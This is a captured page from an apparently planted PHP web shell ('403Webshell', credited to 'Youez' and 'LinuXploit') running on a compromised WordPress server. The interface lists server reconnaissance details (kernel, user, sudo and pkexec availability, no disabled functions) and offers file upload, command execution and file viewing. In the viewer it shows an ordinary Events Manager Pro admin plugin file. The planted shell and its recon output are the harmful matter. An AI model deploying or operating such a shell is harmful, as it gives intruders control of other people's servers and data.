403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/plugins/events-manager-pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/plugins/events-manager-pro/emp-admin.php
<?php
/**
 * Used for hooking into the admin page and adding extra settings specific to Events Manager Pro, meaning classes do not need to be loaded until enabled here. 
 */
class EM_Pro_Admin{
    public static function init(){
        //Logging
        add_action('em_options_page_panel_admin_tools', 'EM_Pro_Admin::logging_settings');
        add_action('add_option_dbem_enable_logging', 'EM_Pro_Admin::logging_enable', 10, 2);
	    add_action('add_site_option_dbem_enable_logging', 'EM_Pro_Admin::logging_enable', 10, 2);
        add_action('update_option_dbem_enable_logging', 'EM_Pro_Admin::logging_enable', 10, 2);
	    add_action('update_site_option_dbem_enable_logging', 'EM_Pro_Admin::logging_enable', 10, 2);
        //MB Mode
        include('add-ons/multiple-bookings/multiple-bookings-admin.php');
    }
    
    /* START Logging */
	public static function logging_settings(){
	    ?>
		<table class="form-table">
		    <tr class="em-header"><td colspan="2">
		        <h4><?php _e ( 'Logging', 'events-manager'); ?></h4>
		    </td></tr>
			<?php em_options_radio_binary ( __( 'Enable Logging?', 'em-pro' ), 'dbem_enable_logging', sprintf(__('If enabled, a folder called %s will be created. Please ensure that your wp-contents folder is writable by the server.','em-pro'), '<code>'.WP_PLUGIN_DIR.'/events-manager-logs'.'</code>')); ?>
		</table>
		<?php
	}
	
	public static function logging_enable($old_val, $new_val){
		global $EM_Notices;
		if( $new_val != $old_val ){
			$message =  $new_val ? 'Logging Enabled' : 'Logging Disabled';
			if( !EM_Pro::log($message, 'general', true) ){
				$EM_Notices->add_error(__('Could not create a log directory, please make sure your wp-content is writeable.'.'em-pro'));
			}
		}
	}
	/* END Logging */
}
EM_Pro_Admin::init();

Youez - 2016 - github.com/yon3zu
LinuXploit